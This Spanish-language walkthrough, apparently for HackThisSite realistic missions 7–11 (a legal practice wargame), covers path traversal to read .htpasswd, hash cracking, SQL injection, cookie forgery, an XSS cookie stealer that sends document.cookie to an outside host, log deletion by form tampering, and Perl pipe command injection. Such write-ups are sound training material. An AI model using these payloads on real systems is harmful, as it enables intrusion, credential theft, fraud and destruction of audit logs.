fight against moral tyranny and a victory for freedom if you could somehow hack into their website. Thank you. Al entrar a la pagina vemos unos link en la parte inferior como siguen: http://www.hackthissite.org/missions/realistic/7/showimages.php?file=patriot.txt http://www.hackthissite.org/missions/realistic/7/showimages.php?file=bush.txt http://www.hackthissite.org/missions/realistic/7/showimages.php?file=war.txt Que pasa si cambiamos el valor de file... http://www.hackthissite.org/missions/realistic/7/showimages.php?file=1.txt Al final de la pagina nos muestra el mensaje: The specified file does not exist. Y deja de mostrar las imagenes... ahora veamos que hay en cada archivo de texto: http://www.hackthissite.org/missions/realistic/7/patriot.txt images/patriot1.jpg images/patriot2.jpg images/patriot3.jpg images/patriot4.jpg
  • 21. images/patriot5.jpg http://www.hackthissite.org/missions/realistic/7/bush.txt images/bush1.jpg images/bush2.jpg images/bush3.jpg http://www.hackthissite.org/missions/realistic/7/war.txt images/war1.jpg images/war2.jpg images/war3.jpg que son las imagenes que muestra en la parte inferior... eso quiere decir que ocupa un script php que lee lo que este escrito en un archivo y lo pone como ruta para mostrar una imagen. Tambien observamos que hace referencia a una ruta para todas las imagenes: images/patrior1.jpg O sea que existe un directorio llamado images.. veamos que hay ahi. http://www.hackthissite.org/missions/realistic/7/images/ admin/ 06-Feb-2004 00:25 - burn.jpg 06-Feb-2004 00:25 35k bush1.jpg 06-Feb-2004 00:25 46k bush2.jpg 06-Feb-2004 00:25 47k bush3.jpg 06-Feb-2004 00:25 40k gay.jpg 06-Feb-2004 00:25 51k logo.jpg 06-Feb-2004 00:25 28k logo.psd 06-Feb-2004 00:25 121k patriot1.jpg 06-Feb-2004 00:25 59k patriot2.jpg 06-Feb-2004 00:25 61k patriot3.jpg 06-Feb-2004 00:25 59k patriot4.jpg 06-Feb-2004 00:25 41k patriot5.jpg 06-Feb-2004 00:25 61k savage.jpg 06-Feb-2004 00:25 33k war1.jpg 06-Feb-2004 00:25 70k war2.jpg 06-Feb-2004 00:26 71k war3.jpg 06-Feb-2004 00:26 39k Vemos un directorio llamado admin, al entrar a ese directorio nos solicitan usuario
  • 22. y contraseña. Al no introducir credenciales válidas nos muestra un mensaje de error de Apache. Siendo Apache el servidor utilizado y al ver la forma en que solicita la contraseña, sabemos que se cuenta con un archivo: .htaccess y otro similar (normalmente .htpassword) para autorizar la entrada al mismo, asi que nuestra tarea ahora es leer este archivo, que sabemos se tiene que localizar en el mismo directorio dentro de admin. Como no podemos accesarlo directamente, haremos uso del mismo script que busca y coloca las imagenes, de la siguiente forma: http://www.hackthissite.org/missions/realistic/7/showimages.php? file=images/admin/.htaccess Esto nos muestra una pagina con unos links al final (debido a que no son imagenes, nos muestra solo el link) http://www.hackthissite.org/missions/realistic/7/AuthName http://www.hackthissite.org/missions/realistic/7/AuthType%20Basic http://www.hackthissite.org/missions/realistic/7/AuthUserFile %20/usr/local/www/hackthissite.org/html/missions/realistic/7/images/admin/.htpas swd http://www.hackthissite.org/missions/realistic/7/require%20valid-user Si limpiamos un poco tenemos que el .htaccess es como sigue: AuthName AuthType Basic AuthUserFile /usr/local/www/hackthissite.org/html/missions/realistic/7/images/admin/.htpasswd require valis-user Vemos que hace referencia al archivo .htpasswd en el mismo directorio... entonces necesitamos ver que dice este archivo, es el que contiene el usuario y contraseña permitida: http://www.hackthissite.org/missions/realistic/7/showimages.php? file=images/admin/.htpasswd Y esta pagina nos muestra el link administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0 que es una contraseña tipica en sistemas *nix, asi que la guardamos en un archivo de texto y utilizamos john the ripper:
  • 23. ./john pass.txt ... despues de un tiempo considerable tenemos: company (administrator) guesses: 1 time: 0:00:28:38 (3) c/s: 4396 trying: company Asi que solo resta meter nuestro usuario administrator con password company. United Banks Of America One of America's Richest Men plans to donate $10,000,000 to a campaign set on hunting down hackers and locking them up. Please, if you can't do this, then we're all screwed. Can you hack in and move the money? From: DarkOneWithANeed Message: Hey man, you gotta help me out, Gary Hunter, one of the richest men in America, has just deposited $10,000,000 into his bank account at the United Banks Of America and plans to donate that money to a campaign to hunt down and lock up all hackers. Now I've tried hacking their site but I'm just not good enough. That's why I need your help, Here's a list of your objectives: 1. Find the account of Gary Hunter (I don't know his account name). 2. Move the $10,000,000 into the account dropCash. 3. Clear The Logs, They're held in the folder 'logFiles'. I really hope you can do this, because if you can't we're all screwed. Me registro... busco informacion sobre usuarios... nada. me intento registrar con caracteres raros para ver si hay algun mensaje de error... Warning: sqlite_array_query() [function.sqlite-array-query]: unrecognized token: "" in /usr/local/www/hackthissite.org/html/missions/realistic/8/register2.php on line 24 Me voy de nuevo a buscar usuarios... Dado que el select tendria que ser algo similar a: Select * from tabla WHERE usuario = 'usuario' intentare modificarlo que para que sea: Select * from tabla where usuario = 'usuario' or 'x'='x'
  • 24. Asi que solo le agrego usuario' or 'x' = 'x y Voila! Me da el listado de todos los usuarios registrados... busquemos al que nos interesa. GaryWilliamHunter Hay varios parecidos, pero el primero similar tiene que ser el indicado. Logueamos normalmente con nuestro usuario, haciendo uso de Live http headers, vemos que hay una cookie con username y password, asi que lo que haremos sera cambiar el accountUsername por el de gary y probaremos hacer la trasferencia a la cuenta dropCash javascript:void(document.cookie="accountUsername=GaryWilliamHunter");alert( document.cookie) Ok! primer objetivo conseguido... ahora a borrar los logs... Vemos el codigo fuente de la pagina y existe un formulario para eliminar nuestro log... <form action='cleardir.php' method='POST'><input type='hidden' name='dir' value='morphosisSQLFiles'><input type='submit' value='Clear Files In Personal Folder'></form> Haciendo uso de la misma tecnica cambiaremos el valor del objeto dir por el que necesitamos eliminar 'logFiles' javascript:alert(document.forms[0].dir.value="logFiles") hecho... hemos finalizado esta prueba. CrappySoft Richard Conner's boss is refusing to pay him because of personal dislikes. He would fire him but his contract forbids it. Help Richard get his paycheck! From: R-Conner Message: Hey man, how are you? My name is Richard Conner and I work for CrappySoft. I contacted you to ask your help. A friend of mine is in "Holy Word High School" and he told me you hacked his grades so that he could pass his class. I kind of have the same problem with my boss right now... My old boss sold the place and my new boss doesn't like me. He can't fire me because I have a contract and
  • 25. therefor, by not paying my salary on time, he hopes it will result in me leaving. He always pays 20 days too late, now I'm broke and I can't afford any food. I know there is a paying system in our site, but I can't use it because I'm not an administrator. So, it would be really nice if you'd want to help me! Here is the site: http://www.hackthissite.org/missions/mission9/ You can logon using my account: Username: r-conner@crappysoft.com Password: ilovemywork Nos logueamos como r-conner Y comenzamos a ver que hay en la pagina que podamos utilizar... ● Mailing list: tiene una nota: This adds your email to the list, and at the same time, checks the list for anything without the '@' character and deletes it. (nada utilizable al momento) ● Demo: You can test the software for 30 days, no installation needed! y una descarga de: http://www.hackthissite.org/missions/realistic/9/files/downloads/CrappyDem o.exe No me interesan los exes asi que ni siquiera lo abri.. pero si me interesan los directorios del sitio, asi que entro en /files/downloads/ Parent Directory 05-Aug-2006 16:11 - CrappyDemo.exe 05-Aug-2006 16:11 18k Ahi esta nuestra descarga.. pero veamos un directorio mas arriba, /files. Parent Directory 05-Aug-2006 16:11 - downloads/ 05-Aug-2006 16:11 - logs/ 05-Aug-2006 16:11 - mailinglist/ 05-Aug-2006 16:11 - Index of /missions/realistic/9/files/logs Name Last modified Size Description Parent Directory 05-Aug-2006 16:11 - logs.txt 05-Aug-2006 16:11 1k http://www.hackthissite.org/missions/realistic/9/files/logs/logs.txt
  • 26. 216.239.57.99 - Login at 15:15 2003-11-5 209.73.164.91 - Bad Login at 03:40 2003-11-8 Interesante... aunque la prueba no decia nada al respecto... al final no terminamos la prueba si no hacemos algo al respecto, luego lo veremos. Index of /missions/realistic/9/files/mailinglist Name Last modified Size Description Parent Directory 05-Aug-2006 16:11 - addresses.txt 05-Aug-2006 16:11 1k http://www.hackthissite.org/missions/realistic/9/files/mailinglist/addresses.txt peter@scholengemeenschap.nl lisa-mele2511@school-teacher.com k.struder@basicschoolthehorse.com nomadschool@hotmail.com you@somedomain.com thomas@code920.com y.yeng@tokiomail.tw lamonif@hotmail.com r-conner@crappysoft.com iam@home.com kleinnico@hotmail.com lol@hi.com kleinnico@hotmail.com mcaster@hackermail.com Aca esta la lista de correos, no utiliza base de datos, sino que los correos los va almacenando en este txt. Tenemos tambien una pagina de contactos con un formulario para llenar, lo lleno con '1 para ver como trabaja las comillas.... y obtengo el siguiente resultado: Dear, '1 Your mail has been send, you will here from us as soon as posible. Lo que dificulta cualquier explotacion por inyeccion o algo similar. Private Message's: No tengo mensajes pero puedo enviar mensajes a una lista que hay ahi, que incluye a m-crap (Company owner), el mero mero. Pay Salary me dice que no soy administrador... como sabe que no soy administrador? reviso mis cookies: javascript:alert(document.cookie)
  • 27. Solo se me hace raro el intID=2, asi que intento modificarlo... javascript:void(document.cookie="intID=0"); alert(document.cookie) javascript:void(document.cookie="intID=1"); alert(document.cookie) javascript:void(document.cookie="intID=3"); alert(document.cookie) javascript:void(document.cookie="intID=4"); alert(document.cookie) Pero sigo con el mismo resultado, asi que tiene que ser algo con mi username, necesito loguearme como alguien mas... quien podria ser el administrador?.... hmmm el dueño tiene que tener acceso a todo asi que voy a intentar entrar como el dueño... pero como lo lograremos? Hace tiempos hubo un fallo de seguridad en php-nuke, que mandando un mensaje privado al administrador, podiamos hacer que ejecutara un javascript que lo enviaba a otra pagina para captar la informacion de la cookie, ya que la cookie almacenaba la password cifrada, tal como en este caso, de esta forma no es necesario crackear la password, sino que solo cambiamos nuestra cookie por sus datos. Asi que probaremos el robo de contraseña mediante injeccion de javascript en el metodo de mensajes privados. Este metodo lleva dos partes: 1- Hacer la parte que recibira los datos, puede ser php capturando informacion en nuestro host. 2- El javascript que se encargara de robar la información de la cookie y enviarla a nuestra pagina. según hemos venido viendo en las pruebas, no son del todo reales, sin embargo leen nuestra entrada y la evalúan para saber si hemos hecho las cosas correctas y nos dan entrada, asi que no necesitaremos hacer la parte 1, que necesitamos poner para la parte 2? <script language="JavaScript"> document.location="http://www.pcamaleon.org/stealer.php?cookie=" + document.cookie; </script> Asi que metemos este codigo en el cuerpo del mensaje que enviaremos a m-crap (Company owner)... luego recibiremos un mensaje de regreso: It is not within the scope of this mission to actually check the XSS, we assume you got the idea and your entry has passed basic checking... so assume you have recieved the following cookie...
  • 28. strUsername=m-crap%40crappysoft.com; strPassword=94a35a3b7befff5eb2a8415af04aa16c; intID=1 Tenemos el nombre de usuario y password cifrada del mero mero... asi que lo que haremos ahora sera modificar nuestra cookie para que sea la de el.. javascript:void(document.cookie="strUsername=m-crap%40crappysoft.com");alert(document.cookie) javascript:void(document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c");alert(document.cookie) javascript:void(document.cookie="intID=1");alert(document.cookie) Listo, ahora si podemos entrar a Pay a nuestro querido amigo. Despues de pagarle... nada mas paso, no hay mensaje que nos diga que ya finalizamos la prueba, asi que lo que haremos sera ver como borramos el archivo de logs que encontramos anteriormente... para esto retomamos la nota del mailing list: Enter your email address here: (Note: This adds your email to the list, and at the same time, checks the list for anything without the '@' character and deletes it.) O sea que el script revisa lo que este escrito en addresses.txt y borra las lineas que no tengan @. Si lo redireccionamos para que en vez de revisar http://www.hackthissite.org/missions/realistic/9/files/mailinglist/addresses.txt revise http://www.hackthissite.org/missions/realistic/9/files/logs/logs.txt Automaticamente estaria borrando todo, ya que ninguna linea de logs.txt tiene @. Asi que revisemos la pagina de mailing list... <form action="subscribemailing.php" method="post"> <input type="hidden" name="strFilename" value="./files/mailinglist/addresses.txt"> <input type="text" name="strEmailAddress" value="you@somedomain.com"> <br> <input type="submit" value="Subscribe!" Ahi lo tenemos, de modo que si cambiamos este valor por la direccion de nuestro logs.txt, tiene que resultar... javascript:alert(document.forms[0].strFilename.value="./files/logs/logs.txt") Luego click en subscribe... y Listo! finalizamos la mision.
  • 29. Holy Word High School Uptight religious fanatics are failing free-thinking students for questioning their faith. Fulfill every teenage hacker's ultimate fantasy: hack into the school database and change grades! This level has several different layers of security and several different ways of completing it. Enjoy From: Zach Sanchez Message: hey man, it's me zach, I need a favor from you, I'm in big trouble. if you'll remember, I go to that super uptight religious school. well, two of my teachers are failing me because my lifestyle does not fall in line with their moralistic rules for public behavior. My gym teacher even called me a 'long-haired hippie faggot'! And if I fail any classes, I won't graduate. Listen, can you hack into the school's grade database and make it so I'm passing all my classes? I know they have this system set up on their website that allows teachers to submit grades and stuff, and I heard you pulled a few things in the past as well. Their webmaster was not thinking in terms of computer security when he was designing the website, so it might be easy. Or not. Please check it out here. The username to my account is 'Zach Sanchez' and my password is 'liberty638'. Thanks man! Revisando la pagina no vemos mayor cosa donde a simple vista puedan ingresar los maestros asi que nos vamos al codigo... y hay una imagen en blanco que hace referencia al siguiente link: http://www.hackthissite.org/missions/realistic/10/staff.php asi que nos vamos para alla y es la pagina de login de los maestros, asi que probaremos inyeccion de sql de nuevo, pero nos falta algun nombre de maestro para probar... Esto si resulto tedioso porque me fui a leer los nombres del staff y probe los correos como username y luego solo lo que esta antes de la arroba como username.. y no pude inyectar nada. Asi que comence a probar cosas logicas y realmente sin ninguna base solo matando el tiempo... ya me comenzaba a hostigar esta prueba, asi que comence a probar con el correo como username y lo que va antes de la arroba como password... nada, luego lo que esta antes de la arroba tanto como username como password... al final pude ingresar como Samantha Miller (smiller@holycorss.edu), que por cierto, es la unica que esta repetida.
  • 30. Esto no gusto en lo absoluto por toda la perdida de tiempo que tuve en esta prueba.. pero ni modo, asi lo habian preparado. Al ingresar nos recibe el mensaje: Welcome, Mrs. Samantha Miller! Please remember that access the staff administration area is restricted to the district-supplied 'holy_teacher' web browser. En otras palabras, tenemos que estar utilizando el browser del distrito llamado holy_teacher.... como no tenemos ese browser, tenemos que engañar al servidor y hacerle creer que estamos utilizando ese browser... asi que me voy de nuevo a la herramienta maestra en estas pruebas, si, se imaginan bien: HTTL LIVE HEADERS... le doy refresh a la pagina para que almacene todo y ahi cambio el parametro: User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1) por: User-Agent: holy_teacher Luego click en repetir... y entramos! (Si no se quiere hacer de esta manera, que luego sale tedioso estar cambiando esto cada vez, puede utilizarse otra forma como el plugin “user agent switcher” para firefox) Aca encontramos 3 botones: -Check messages... nada interesante. -Submit Grades... Sorry, Mrs. Samantha Miller, it is too late into the school year to change grades now. -Change grades... note: you are not an administrator so you cannot change grades. Asi que lo siguiente es hacernos administradores, como es que reconoce que no somos administradores, revisemos las cookies: javascript:alert(document.cookie) admin=0... cambiemoslo por 1...
  • 31. javascript:void(document.cookie="admin=1");alert(document.cookie) Change Grades de nuevo...y Listo! Vemos el listado de los alumnos, incluido el del haragan Zach Sanchez, asi que veamos que notas tiene... Al final vemos un mensaje: Sorry, it is too late into the school year to change grades now. The grades will be printed and mailed in just a few days. Y donde dice Modify aparece un mensaje que dice “see below”.... o sea que no podemos modificar... Veamos el fuente de nuevo... <form action="staff.php? action=changegrades&changeaction=modrec&rec=4&studentid=1" method="post"> </form> Bible study</td><td width=5>&nbsp;</td> <td> <input type="text" name="grade" value="2" size=4> </td><td width=5>&nbsp;</td> <td> <input type="text" name="comments" value="Disruptful in class."> </td><td width=5>&nbsp;</td><td> <center>1</center></td><td width=5>&nbsp;</td><td> <!--<input type="submit" value="modify"></form>-->see below</td> En negrita lo mas interesante: Una direccion que pasa variables por url: action=changegrades changeaction=modrec rec=4 studentid=1 ademas en el formulario tenemos: grade=2 comments=”Disruptful in class.” asi que probemos algo: pongamos en el url nuestra propia action: http://www.hackthissite.org/missions/realistic/10/staff.php? action=changegrades&changeaction=modrec&rec=4&studentid=1&grade=5&comment s=Excelent student Grades updated.
  • 32. Luego damos un back.. y efectivamente ha sido modificado... ahora tenemos que hacerlo con las demas clases. Como lo hacemos? Veamos la diferencia con las otras materias... lo que cambia es el rec= 4,0,6,5,7,1,9,3,8,2.... o sea, del 0 al 9. Asi que solo vamos modificando esto y cuando hagamos el ultimo... voila! prueba completada. Heartland School District Schools are supposed to prepare students for the outside world, but how can they do this if students are kept from everything by overly-protective administrators? Clear the blocked site list and help fight censorship in public schools. From: Space46 Message: Hello, I'm space46 from space46.nod. Up until recently, BudgetServ used to be a good host, but the company got new owners and some lame hosted site was deleted somehow. The administrators think that it was me and they've suspended my account. I've contacted them numerous times about getting my files back but they refuse. As it so happens, I made a backup in my web root named src.tar.gz right before the account was suspeneded. Can you get this file back so that I can move to a better host? http://www.hackthissite.org/missions/realistic/11/page.pl?page=test open(file, "pages/test") failed: No such file or directory http://www.hackthissite.org/missions/realistic/11/page.pl?page=features|ls| admin bs.dbase frontpage.gif letter.gif logo.gif ms.gif mysql.gif order.pl page.pl pages perl.gif php.gif server.gif sqlite.png suspended.html